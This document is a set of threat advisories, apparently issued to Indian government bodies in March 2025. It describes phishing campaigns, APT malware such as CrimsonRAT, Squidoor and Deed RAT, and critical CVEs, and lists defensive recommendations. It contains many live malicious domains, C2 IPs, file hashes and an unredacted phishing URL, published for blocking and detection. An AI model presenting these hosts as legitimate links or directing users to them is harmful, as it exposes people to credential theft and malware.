**Cyber Security Advisories**

**Date: 28 March 2025**

1. **TA-PHI-2025-03-06-001**

It has been observed that government personnel have received phishing emails from spoofed / compromised email IDs and malicious domain.

The email contains attachment file named "Letter to the Raksha Mantri Office Dated 26 Feb 2025.pdf", which is contains a hyperlink "https://email.gov.in.indiadefencedepartment.link/service/home/?auth=co&id=29238&filename=RM%20%20Report%20Regarding%20Defence%202025&charset=UTF-8 " with the title "View Document". On clicking the hyperlink, it opens the phishing page of NIC login page and seeks for username and password.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

84.54.51.12

45.141.59.167

**Domain:**

indiadefencedepartment.link

**URL:**

https://email.gov.in.indiadefencedepartment.link/service/home/?auth=co&id=29238&filename=RM%20%20Report%20Regarding%20Defence%202025&charset=UTF-8

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Never click and execute email attachments from unknown sources.
* Never open links shared on social media from unknown sources.
* Never run unknown files with exaggerated titles.
* Users of nic.in and gov.in domains be sensitised about the threat vector.

***Note****:  TA-PHI: Threat Alert Phishing Advisory*

1. **TA-APT-2025-03-06-001**

Reference is made to earlier advisories on APT36 Campaign.

APT36 a.k.a. Transparent Tribe is deploying CrimsonRAT, a Remote Access Trojan (RAT) for cyber-espionage activities, particularly against government, defense, and military targets. CrimsonRAT allows attackers to remotely control infected systems, steal sensitive information, log keystrokes, capture screenshots, and exfiltrate data.

**Common Features of APT36 Threat Actor:**

* Spear-Phishing (highly targeted and convincing phishing emails to trick victims)
* Information Theft (documents, credentials, and personal data)
* Remote Access
* Credential Harvesting
* Data Exfiltration
* Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

185.174.101.108

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoC on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoC may be reported to NCIIPC.
* Firewall and other network solutions should be adjusted to prevent traffic from being allowed on non-conventional ports.
* Organisations should implement email protection solutions to filter out malicious emails.
* Implement Multi-Factor Authentication (MFA).
* Enforce use of strong passwords and limit user access through the principle of least privilege.
* Establish a Sender Policy Framework (SPF), Domain Message Authentication Reporting and Conformance (DMARC), and Domain Keys Identified Mail (DKIM) for your domain, which is an email validation system designed to prevent e-mail spoofing.
* Never click and execute email attachments from unknown sources.
* Users should take care when enabling macros for internal office files.
* Never run unknown files with exaggerated titles.
* Never open links shared on social media from unknown sources.
* Monitoring and logging to detect unusual activities indicating a compromise.
* Encrypt sensitive data to protect it in case of exfiltration.

**Reference**: CERT-IN [CMTX-I-707022025]

***Note:***  TA-APT: Threat Alert - Advanced Persistent Threat Advisory

1. **VA-2025-03-06-001**

**Security Updates for WordPress Academist Membership plugin**

WordPress has released security updates to resolve privilege escalation vulnerability in the Academist Membership plugin.The affected versions are the Academist Membership plugin for WordPress all versions up to, and including, 1.1.6.

CVE ID: CVE-2025-1671 (Critical)

**Security Updates for WordPress Alloggio Membership plugin**

WordPress has released security updates to resolve authentication bypass vulnerability in the Alloggio Membership plugin. The affected versions are the Alloggio Membership plugin for WordPress all versions up to, and including, 1.0.2.

CVE ID: CVE-2025-1638 (Critical)

**Security Updates for WordPress SetSail Membership plugin**

WordPress has released security updates to resolve an authentication bypass vulnerability in the SetSail Membership plugin. The affected versions are the SetSail Membership plugin, all versions up to, and including, 1.0.3.

CVE ID: CVE-2025-1564 (Critical)

**Security Updates for Nokri – Job Board WordPress Theme**

WordPress has released security updates to resolve a privilege escalation vulnerability in the Nokri – Job Board WordPress Theme. The affected versions are the Nokri – Job Board WordPress Theme, all versions up to, and including, 1.6.2.

CVE ID: CVE-2024-12824 (Critical)

**Vulnerability in WeGIA**

An OS command injection vulnerability has been discovered in WeGIA. The affected versions are WeGIA prior to 3.2.15.

CVE ID: CVE-2025-27140 (Critical)

**Vulnerability in WeGIA**

A SQL injection vulnerability has been discovered in the WeGIA application that allows to access sensitive information.

CVE ID: CVE-2025-27096 (Critical)

**Vulnerability in code-projects Simple Task List**

A SQL injection vulnerability has been discovered in code-projects Simple Task List. The affected version is code-projects Simple Task List 1.0.

CVE ID: CVE-2024-6653 (Critical)

**Vulnerability in Progress WhatsUp Gold**

A Remote Code Execution (RCE) vulnerability has been discovered in Progress WhatsUp Gold. The affected versions are WhatsUp Gold versions released before 2023.1.3.

CVE ID: CVE-2024-4885 (Critical)

**Security Updates for WordPress Newscrunch theme**

WordPress has released security updates to resolve an arbitrary file upload vulnerability in the Newscrunch theme. The affected versions are Newscrunch theme, all versions up to and including 1.8.4.1.

CVE ID: CVE-2025-1307 (Critical)

**Android Security Updates**

Android has released a security bulletin to resolve multiple vulnerabilities affecting several Android devices. Security patch levels of 2025-03-05 or later, address all of these issues.

CVE ID: CVE-2025-0074 (Critical), CVE-2025-0075 (Critical), CVE-2025-0084 (Critical), CVE-2025-22403 (Critical), CVE-2025-22408 (Critical), CVE-2025-22410 (Critical), CVE-2025-22411 (Critical), CVE-2025-22412 (Critical), CVE-2025-22409 (Critical), CVE-2025-0081 (Critical)

**Vulnerability in mySCADA**

A vulnerability has been discovered in the administrative web interface of mySCADA myPRO Manager that allows to retrieve sensitive information and upload files without the associated password.

CVE ID: CVE-2025-24865 (Critical)

**Vulnerability in CampCodes Computer Laboratory Management System**

An unrestricted upload vulnerability has been discovered in CampCodes Computer Laboratory Management System. The affected system is CampCodes Computer Laboratory Management System 1.0.

CVE ID: CVE-2025-0341 (Critical)

**Vulnerability in IBM**

A SQL injection vulnerability has been discovered in IBM. The affected versions are IBM Concert Software 1.0.0, 1.0.1, 1.0.2, and 1.0.2.1. Security Update is available.

CVE ID: CVE-2024-52360 (Critical)

**Vulnerability in LangChain**

A Server Side Request Forgery (SSRF) vulnerability has been discovered in the langchain\_community. The affected version is langchain\_community 0.0.26.

CVE ID: CVE-2024-2057 (Critical)

**Ubuntu Released Security Updates for Multiple Products**

Ubuntu has released security updates to address several vulnerabilities in GPAC and SPIP. The affected products are Ubuntu 24.10, Ubuntu 24.04 LTS, Ubuntu 22.04 LTS, Ubuntu 20.04 LTS, Ubuntu 18.04 ESM, Ubuntu 16.04 ESM, and Ubuntu 14.04 ESM.

CVE ID: CVE-2024-0322 (Critical), CVE-2024-0321 (Critical), CVE-2023-5520 (High), CVE-2022-23638 (Medium), CVE-2022-28959 (Medium), CVE-2022-28960 (High), CVE-2022-28961 (High), CVE-2022-37155 (High), CVE-2023-24258 (Critical), CVE-2023-27372 (Critical), CVE-2024-8517 (Critical)

**Vulnerability in WordPress Homey Theme**

A privilege escalation vulnerability has been discovered in the WordPress Homey theme. The affected versions are Homey theme, all versions up to and including, 2.4.2.

CVE ID: CVE-2024-12281 (Critical)

**Vulnerability in WordPress Homey Login Register plugin**

A privilege escalation vulnerability has been discovered in WordPress Homey Login Register plugin. The affected versions are Homey Login Register plugin, all versions up to, and including, 2.4.0.

CVE ID: CVE-2024-11951 (Critical)

**Vulnerability in VEDA - MultiPurpose WordPress Theme**

A PHP object injection vulnerability has been discovered in VEDA - MultiPurpose WordPress Theme. The affected versions are VEDA - MultiPurpose WordPress Theme, all versions up to, and including, 4.2.

CVE ID: CVE-2024-13787 (Critical)

**Mozilla Released Security Updates**

Mozilla has released security updates to address multiple vulnerabilities in Thunderbird ESR 128.8, Thunderbird 136, Firefox ESR 128.8, Firefox ESR 115.21 and Firefox 136. An attacker can exploit these vulnerabilities to take control of an affected system.

CVE ID: CVE-2024-43097 (Critical), CVE-2025-1930 (High), CVE-2025-1931 (High), CVE-2025-1932 (High), CVE-2025-1933 (High), CVE-2025-1934 (Medium), CVE-2025-1935 (Low), CVE-2025-1936 (Low), CVE-2025-1937 (High), CVE-2025-1938 (High), CVE-2025-1939 (High), CVE-2025-1940 (Medium), CVE-2025-1941 (Medium), CVE-2025-1942 (Medium), CVE-2025-1943 (High),  CVE-2024-9956 (Medium)

***Note:****VA: Vulnerability Advisory*

1. **TA-MAW-2025-03-07-001**

It has been observed that the threat group CL-STA-0049 has been targeting the government, defense, telecommunications, education, and aviation sectors. The adversary's primary goal is to gain access and to collect sensitive information from these entities, indicating a focus on espionage.

Squidoor aka FinalDraft- Squidoor, the primary malware utilised by the CL-STA-0049 group, is a sophisticated backdoor designed for stealth and multi-platform functionality, supporting both Windows and Linux operating systems. This malware enables the attackers to maintain access, move laterally within networks, and establish covert communication channels with their Command and Control (C2) servers.

**Distribution Methods:**

Squidoor employs various methods for distribution, primarily are:

* Web Shells: Used as an entry vector into targeted networks.
* Covert Communication Channels: Various methods to communicate with C2 servers, minimizing detection risks.
* Email Phishing: Targeting specific individuals within organizations to deploy the malware.

**Systems Affected:**

* Windows (various versions): Squidoor has a tailored version for Windows that offers multiple communication methods.
* Linux: A specific version is also designed for Linux environments.
* Multi-platform Networks: Its adaptability allows it to infiltrate diverse network architectures, complicating detection efforts.

**Impacts:**

1. Information Theft: The primary impact is the theft of sensitive information from compromised organizations, which can lead to national security risks.
2. Operational Disruption: The malware can disrupt normal operations by infiltrating critical infrastructure in targeted sectors.
3. Increased Vulnerability: The stealthy nature of Squidoor complicates detection and response efforts, increasing the vulnerability of networks.
4. Reputational Damage: Organizations that fall victim to such attacks may suffer reputational harm, impacting trust and stakeholder confidence.
5. Financial Losses: The costs associated with data breaches, including remediation and potential legal consequences, can be substantial.
6. Geopolitical Tensions: These cyber activities can escalate geopolitical tensions, particularly between China and the nations being targeted.
7. Targeted Attacks on Individuals: The threat group specifically collects information on high-ranking officials, which poses risks not only to the organizations but also to individuals’ privacy and security.
8. Enhanced Security Measures: The emergence of such sophisticated threats necessitates improved security practices among organizations to defend against future attacks.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

f663149d618be90e5596b28103d38e963c44a69a5de4a1be62547259ca9ffd2d

83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c

8187240dafbc62f2affd70da94295035c4179c8e3831cb96bdd9bd322e22d029

fa2a6dbc83fe55df848dfcaaf3163f8aaefe0c9727b3ead1da6b9fa78b598f2b

3fcfc4cb94d133563b17efe03f013e645fa2f878576282805ff5e58b907d2381

f45661ea4959a944ca2917454d1314546cc0c88537479e00550eef05bed5b1b9

9f62c1d330dddad347a207a6a565ae07192377f622fa7d74af80705d800c6096

461f5969b8f2196c630f0868c2ac717b11b1c51bc5b44b87f5aad19e001869cc

224becf3f19a3f69ca692d83a6fabfd2d78bab10f4480ff6da9716328e8fc727

6c1d918b33b1e6dab948064a59e61161e55fccee383e523223213aa2c20c609c

81bd2a8d68509dd293a31ddd6d31262247a9bde362c98cf71f86ae702ba90db4

7c6d29cb1f3f3e956905016f0171c2450cca8f70546eee56cface7ba31d78970

c8a5388e7ff682d3c16ab39e578e6c529f5e23a183cd5cbf094014e0225e2e0a

1dd423ff0106b15fd100dbc24c3ae9f9860a1fcdb6a871a1e27576f6681a0850

82e68dc50652ab6c7734ee913761d04b37429fca90b7be0711cd33391febff0a

e8d6fb67b3fd2a8aa608976bcb93601262d7a95d37f6bae7c0a45b02b3b325ad

2b6080641239604c625d41857167fea14b6ce47f6d288dc7eb5e88ae848aa57f

33689ac745d204a2e5de76bc976c904622508beda9c79f9d64c460ebe934c192

5dd361bcc9bd33af26ff28d321ad0f57457e15b4fab6f124f779a01df0ed02d0

945313edd0703c966421211078911c4832a0d898f0774f049026fc8c9e7d1865

a7d76e0f7eab56618f4671b5462f5c210f3ca813ff266f585bb6a58a85374156

265ceb5184cac76477f5bc2a2bf74c39041c29b33a8eb8bd1ab22d92d6bebaf5

**DOMAINS:**

Support.vmphere.com

Update.hobiter.com

microsoft-beta.com

zimbra-beta.info

microsoftapimap.com

**IPs**

209.141.40.254

104.244.72.123

47.76.224.93

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* Enhanced Network Monitoring: Implement real-time monitoring to detect unusual network traffic patterns associated with Squidoor's C2 communications.
* Endpoint Protection: Utilize advanced Endpoint Detection and Response (EDR) tools to identify and mitigate Squidoor infections.
* Regular Security Audits: Conduct frequent audits and vulnerability assessments to identify and rectify potential entry points for malware.
* Threat Intelligence Sharing: Engage with cybersecurity communities to share information about emerging threats and tactics.
* Update Security Protocols: Regularly update firewalls, intrusion detection systems, and antivirus solutions to protect against known vulnerabilities.
* Incident Response Plan: Develop and maintain a robust incident response plan specifically tailored to address compromises by advanced persistent threats like CL-STA-0049.
* Data Encryption: Encrypt sensitive data to protect it in the event of a breach.
* Use advanced threat detection solutions and advanced URL filtering to detect and block malicious behavior associated with Squidoor stealer.

**Reference:** CERT-IN [CMTX-P-022025415]

***Note****:  TA-MAW: Threat Alert Malware Advisory*

1. **TA-PHI-2025-03-07-002**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

www.email.gov.in.modindia.link

www.biharbhumigov.info

ap.gov.in.solutions

bihar-gov.info

forest.bihar.gov.in.onlinepanel.in.net

prasarbharati.gov.inwindows.com

email.gov.in.modindia.link

\*.modindia.link

biharbhumigov.info

\*.onlinepanel.in.net

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Network administrator should implement email authentication protocols like SPF, DKIM, and DMARC to help detect and prevent email spoofing.
* Inculcate the practice of verifying domain names and URLs before clicking on links, especially in emails.
* Regular training sessions to raise awareness about the tactics used by attackers, such as typo-squatting and spear-phishing.

**Reference:** CERT-IN  [CMTX-I-880022025]

***Note****:  TA-PHI: Threat Alert Phishing Advisory*

1. **TA-APT-2025-03-07-002**

It has been observed that APT group Space Pirates in a recent campaign is using undocumented malware called "LuckyStrike" Agent, along with several advanced tools, including the "Deed" Remote Access Trojan (RAT). The Deed RAT is seen as a key malware variant unique to Space Pirates and is regarded as the successor to the ShadowPad and PlugX malware families.

**Tools & Malware:**

The group utilizes several tools and malware in their operations, including:

* LuckyStrike Agent: A multi-functional .NET backdoor that utilizes Microsoft OneDrive for Command and Control (C2) communications.
* Deed RAT: Also known as ShadowPad Light, this malware has been exclusively used by the group for espionage purposes.
* Stowaway: A modified proxy utility that retains only essential functionalities to evade detection.
* LZ4 Compression Algorithm: Used for data compression in their tools.
* TTTEA Encryption Algorithm: Enhances the security of their communications.
* QUIC Transport Protocol: Supports their operations by providing a fast and secure transport layer.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

wiod.mynetav.net

agent.mgr.run

microft.dynssl.com

micro.dns04.com

ns2.gamepoer7.com

mail.playdr2.com

pop.playdr2.com

news.flashplayeractivex.info

update.flashplayeractivex.info

ns9.mcafee-update.com

bamo.ocry.com

ruclient.dns04.com

loge.otzo.com

asd.powergame.0077.x24hr.com

w.asd3.as.amazon-corp.wikaba.com

api.microft.dynssl.com

www.0077.x24hr.com

js.journal.itsaol.com

fgjhkergvlimdfg2.wikiba.com

goon.oldvideo.longmusic.com

as.amazon-corp.wikaba.com

freewula.strangled.net

szuunet.strangled.net

lib.hostareas.com

web.miscrosafe.com

eset.zzux.com

elienceso.kozow.com

lck.gigabitdate.com

miche.justdied.com

comein.journal.itsaol.com

www.omgod.org

findanswer123.tk

ftp.microft.dynssl.com

toogasd.www.oldvideo.longmusic.com

wwa1we.wbew.amazon-corp.wikaba.com

shareddocs.microft.dynssl.com

reportsearch.dynamic-dns.net

werwesf.dynamic-dns.net

fssprus.dns04.com

alex.dnset.com

tombstone.kozow.com

toon.mrbasic.com

rt.ftp1.biz

applecorp.changeip.org

amazon-corp.wikiba.com

0077.x24hr.com

staticd.dynamic-dns.net

srv.ttxy.biz

servicechelp.changeip.us

mktoon.ftp1.biz

noon.dns04.com

ybcps4.freeddns.org

oldvideo.longmusic.com

chdsjjkrazomg.dhcp.biz

q34ewrd.youdontcare.com

journal.itsaol.com

**IPs:**

46.17.43.99

207.148.121.88

47.108.89.169

120.78.127.189

121.89.210.144

154.211.161.161

192.225.226.218

202.182.98.74

45.76.145.22

141.164.35.87

45.77.16.91

103.101.178.152

123.1.151.64

154.85.48.108

154.213.21.207

192.225.226.123

192.225.226.217

103.27.109.234

108.160.134.113

**URL:**

http://wiod.mynetav.net:443

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* The majority of the infections are primarily introduced via phishing emails, malicious adverts on websites, and third-party apps and programs. Hence, thoughtfully designed security awareness campaigns that stress the avoidance of clicking on links and attachments in email, can establish an essential pillar of defence.
* Properly configure and secure internet-facing network devices, disable unused or unnecessary network ports and protocols on VPN servers/ Email servers and recommend monitoring any anomalous application behaviors [new user creation] and unknown connections in the network traffic. Enforce MFA for all users and on all VPN connections and regularly review, validate, or remove privileged accounts.
* Regular Security Audits: Conduct frequent assessments of publicly accessible services to identify vulnerabilities.
* Intrusion Detection Systems: Implement systems that can detect unusual activities indicative of unauthorized access.
* Access Controls: Limit access to sensitive information based on role and necessity.
* Network Segmentation: Isolate critical systems from general access to reduce lateral movement possibilities.
* Incident Response Plans: Develop and rehearse plans to quickly respond to detected breaches.
* Update and Patch Management: Ensure that all software and systems are regularly updated to mitigate vulnerabilities.
* Data Encryption: Use encryption for sensitive data both in transit and at rest to protect against unauthorized access.

**Reference**: CERT-IN [CMTX-P-032025015]

***Note:***  TA-APT: Threat Alert - Advanced Persistent Threat Advisory

1. **TA-PHI-2025-03-07-003**

Reference is made to earlier advisories on APT41 Campaign.

It has been observed that APT41, also known as (aka) Brass Typhoon, is actively targeting healthcare, telecoms and the high-tech sector for stealing intellectual property and conducting surveillance for espionage activity. The primary objective of the espionage campaign called 'Voldemort' is to target various organisations by sending decoy documents.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

45.120.178.47

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoC on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoC may be reported to NCIIPC.
* Firewall and other network solutions should be adjusted to prevent traffic from being allowed on non-conventional ports.
* Organisations should implement email protection solutions to filter out malicious emails.
* Implement Multi-Factor Authentication (MFA).
* Enforce use of strong passwords and limit user access through the principle of least privilege.
* Establish a Sender Policy Framework (SPF), Domain Message Authentication Reporting and Conformance (DMARC), and Domain Keys Identified Mail (DKIM) for your domain, which is an email validation system designed to prevent e-mail spoofing.
* Never click and execute email attachments from unknown sources.
* Users should take care when enabling macros for internal office files.
* Never run unknown files with exaggerated titles.
* Never open links shared on social media from unknown sources.
* Monitoring and logging to detect unusual activities indicating a compromise.
* Encrypt sensitive data to protect it in case of exfiltration.

***Note:*** *TA-APT: Threat Alert - Advanced Persistent Threat Advisory*

1. **TA-MAW-2025-03-07-002**

Reference is made to earlier advisories on PlugX Malware,

PlugX is a post-exploitation modular RAT (Remote Access Trojan), which, among other things, is known for its multiple functionalities such as data exfiltration, keystroke grabbing and backdoor functionality.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

43.230.9.230

**Domain:**

cisco.893yakuza.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Firewall and other network solutions should be adjusted to prevent traffic from being allowed on non-conventional ports.
* Organisations should implement email protection solutions to filter out malicious emails.
* Implement Multi-Factor Authentication (MFA).
* Enforce use of strong passwords and limit user access through the principle of least privilege.
* Establish a Sender Policy Framework (SPF), Domain Message Authentication Reporting and Conformance (DMARC), and Domain Keys Identified Mail (DKIM) for your domain, which is an email validation system designed to prevent e-mail spoofing.
* Never click and execute email attachments from unknown sources.
* Users should take care when enabling macros for internal office files.
* Never run unknown files with exaggerated titles.
* Never open links shared on social media from unknown sources.
* Monitoring and logging to detect unusual activities indicating a compromise.
* Encrypt sensitive data to protect it in case of exfiltration.

***Note****:  TA-MAW: Threat Alert Malware Advisory*

1. **TA-MI-2025-03-07-001**

The presence of malicious IoC has been found in Indian Cyberspace.

Please find below IOC in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:**

https[:]//kiporexinaluvo.click/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendation:**

* It is recommended that organisations should apply the given IoC on their security systems to identify attacks. Occurrence of any communication traces pertaining to this IoC may be reported to NCIIPC.

***Note:***TA-MI: Threat Alert Malicious IOCs

1. **TA-PHI-2025-03-12-010**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

www.email.gov.in.indiandefence.work

email.gov.in.indiandefence.work

\*.indiandefence.work

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Recommendations:**

* It is recommended that organisations should apply the given IoCs on their security systems to identify attacks. Occurrence of any communication traces pertaining to these IoCs may be reported to NCIIPC.
* Install and regularly update antivirus software.
* Install Updates and Patches regularly.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Implement Multi-Factor Authentication (MFA).
* Network administrator should implement email authentication protocols like SPF, DKIM, and DMARC to help detect and prevent email spoofing.
* Inculcate the practice of verifying domain names and URLs before clicking on links, especially in emails.
* Regular training sessions to raise awareness about the tactics used by attackers, such as typo-squatting and spear-phishing.

**Reference**: CERT-IN [CMTX-I-940032025]

***Note:****TA-PHI: Threat Alert Phishing Advisory*

1. **TA-APT-2025-03-12-005**

It has been observed that APT group SideWinder is sending spear-phishing emails with DOCX file attachments that themes to deceive victims into believing documents are legitimate. The attached document uses the remote template injection technique to download an RTF file stored on a remote server controlled by the adversary. The file exploits a known Microsoft Office memory corruption vulnerability(CVE-2017-11882) to run a malicious shellcode and initiate a multi-level infection process that leads to the installation of the malware “Backdoor Loader”. This acts as a loader for “StealerBot”, a post-exploitation toolkit used exclusively by SideWinder.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

pmd-office.info

modpak.info

dirctt888.info

modpak-info.services

pmd-offc.info

dowmloade.org

dirctt888.com

portdedjibouti.live

mods.email

dowmload.co

downl0ad.org

d0wnlaod.com

d0wnlaod.org

dirctt88.info

directt88.com

file-dwnld.org

defencearmy.pro

document-viewer.info

aliyum.email

d0cumentview.info

debcon.live

document-viewer.live

documentviewer.info

ms-office.app

ms-office.pro

pncert.info

session-out.com

zeltech.live

ziptec.info

depo-govpk.com

crontec.site

mteron.info

mevron.tech

veorey.live

mod-kh.info

